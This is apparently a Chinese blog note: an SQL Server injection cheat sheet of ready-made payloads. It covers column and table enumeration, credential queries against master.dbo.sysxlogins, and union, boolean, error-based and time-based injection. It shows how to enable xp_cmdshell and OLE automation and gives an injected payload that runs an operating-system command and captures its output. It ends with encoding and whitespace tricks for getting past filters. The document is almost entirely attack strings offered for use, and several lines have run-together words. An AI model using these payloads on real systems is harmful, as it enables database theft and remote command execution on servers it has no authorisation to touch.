資料庫的一些注入技巧-sqlserver

  • 2019 年 11 月 5 日
  • 筆記

默認資料庫

pubs

MSSQL 2005版本以上不支援

model

支援所有版本

msdb

支援所有版本

tempdb

支援所有版本

northwind

支援所有版本

information_schema

支援MSSQL 2000及以上版本

注釋

/*

;%00

SELECT * FROM Users WHERE username = '' OR 1=1 ' AND password ='';

SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';

查詢版本資訊

@@VERSION

SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE'%2008%';

查詢資料庫憑證

Database..Table

master..syslogins, master..sysprocesses

Columns

name, loginame

Current User

user, system_user, suser_sname(), is_srvrolemember('sysadmin')

Database Credentials

SELECT user, password FROM master.dbo.sysxlogins

SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;

SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE'0' END);

查詢資料庫資訊

Database.Table

master..sysdatabases

Column

name

Current DB

DB_NAME(i)

· SELECT DB_NAME(5);

· SELECT name FROM master..sysdatabases;

查詢主機名稱

@@SERVERNAME

SERVERPROPERTY()

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');

查詢表和列

確定列數

ORDER BY n+1;

漏洞語句:

SELECT username, password, permission FROM UsersWHERE id = '1';

查詢列數如下:

1' ORDER BY 1–

True

1' ORDER BY 2–

True

1' ORDER BY 3–

True

1' ORDER BY 4–

False – Query is only using 3 columns

-1' UNION SELECT 1,2,3–

True

查詢列

GROUP BY / HAVING

漏洞語句:

SELECT username,password, permission FROM Users WHERE id = '1';

注入語句:

1' HAVING 1=1–

Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

1' GROUP BY username HAVING 1=1–

Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

1' GROUP BY username, password HAVING 1=1–

Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

1' GROUP BY username, password, permission HAVING 1=1–

No Error

查詢表

從以下兩個資料庫中查詢表資訊:

information_schema.tables、master..sysobjects

聯合查詢

UNION SELECT name FROM master..sysobjects WHERE xtype='U'

布爾查詢

AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

報錯查詢

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))

查詢列

從以下兩個資料庫中查詢表資訊:

information_schema.columns 、 masters..syscolumns

聯合查詢

UNION SELECT nameFROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHEREname = 'tablename')

布爾查詢

AND SELECT SUBSTRING(column_name,1,1) FROMinformation_schema.columns > 'A'

報錯查詢

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))

檢索多個表/列

1、

AND 1=0; BEGIN DECLARE @xy varchar(8000) SET@xy=':' SELECT @xy=@xy+' '+name FROMsysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;

2、

AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROMTMP_DB);

3、

AND 1=0; DROP TABLE TMP_DB;

SQL Server 2005版本以上適用

SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('')

儲存過程查詢:

' AND 1=0; DECLARE @S VARCHAR(4000) SET@S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);–

避免單引號

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)

字元串拼接

SELECT CONCAT('a','a','a'); (SQL SERVER 2012)

SELECT 'a'+'d'+'mi'+'n';

條件判斷

IF

CASE

IF 1=1 SELECT'true' ELSE SELECT 'false';

SELECT CASE WHEN 1=1 THEN true ELSE false END;

時間注入

WAITFOR DELAY 'time_to_pass';

WAITFOR TIME 'time_to_execute';

IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFORDELAY '0:0:0';

執行命令

EXEC master.dbo.xp_cmdshell 'cmd';

mssql 2005默認禁用xp_cmdshell,用以下語句開啟:

EXEC sp_configure 'show advanced options', 1

EXEC sp_configure reconfigure

EXEC sp_configure 'xp_cmdshell', 1

EXEC sp_configure reconfigure

調用wscript執行命令:

DECLARE @execmd INT

EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT

EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%system32cmd.exe /c echo jumbo'

如果版本高於sql 2000,需要執行其他查詢才能執行上一條命令:

EXEC sp_configure 'show advanced options', 1

EXEC sp_configure reconfigure

EXEC sp_configure 'OLE Automation Procedures', 1

EXEC sp_configure reconfigure

例:

1、把命令結果存入tmp_db

' IF EXISTS (SELECT 1 FROMINFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE@a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id(N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGINCREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_valueint, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGINCREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXECmaster..xp_cmdshell 'dir' SELECT @a='' SELECT@a=Replace(@a%2B'<br></font><fontcolor="black">'%2Bdir,'<dir>','</font><fontcolor="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23DataEND ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSESELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB–

2、從tmp_db查詢內容:

' UNION SELECT tbl FROM TMP_DB–

3、刪除tmp_db

' DROP TABLE TMP_DB–

多語句查詢

' AND 1=0 INSERT INTO ([column1], [column2]) VALUES('value1', 'value2');

混淆

以下字元等同於空

01

02

03

04

05

06

07

08

09

0A

0B

0C

0D

0E

0F

10

11

12

13

14

15

16

17

18

19

1A

1B

1C

1D

1E

1F

20

25

S%E%L%E%C%T%01column%02FROM%03table;

A%%ND 1=%%%%%%%%1;

%僅限於ASP(x)環境

以下字元代替空格

22

"

28

(

29

)

5B

[

5D

]

UNION(SELECT(column)FROM(table));

SELECT"table_name"FROM[information_schema].[tables];

and/or之後可以使用的符號

01 – 20

Range

21

!

2B

+

2D

2E

.

5C

7E

~

SELECT 1FROM[table]WHERE1=1AND1=1;

編碼

URL Encoding

SELECT %74able_%6eame FROM information_schema.tables;

Double URL Encoding

SELECT %2574able_%256eame FROM information_schema.tables;

Unicode Encoding

SELECT %u0074able_%u6eame FROM information_schema.tables;

Invalid Hex Encoding (ASP)

SELECT %tab%le_%na%me FROM information_schema.tables;

Hex Encoding

' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);–

HTML Entities (Needs to be verified)

%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B